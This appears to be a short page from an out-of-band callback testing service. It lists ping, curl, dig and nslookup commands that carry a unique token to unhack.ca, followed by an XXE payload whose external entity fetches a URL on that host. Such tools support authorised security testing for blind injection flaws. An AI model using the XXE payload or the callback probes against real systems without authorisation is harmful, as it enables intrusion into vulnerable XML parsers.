$ ping -c1 -p 00fc46678cc647a875109e0dd8200d00 unhack.ca
 
$ curl http://unhack.ca/p/fc46678cc647a875109e0dd8200d
 
$ dig fc46678cc647a875109e0dd8200d @unhack.ca
 
$ dig fc46678cc647a875109e0dd8200d.ns.unhack.ca
 
C:\> nslookup fc46678cc647a875109e0dd8200d unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/fc46678cc647a875109e0dd8200d">]>
    <foo>&xxe;</foo>
Waiting for ping...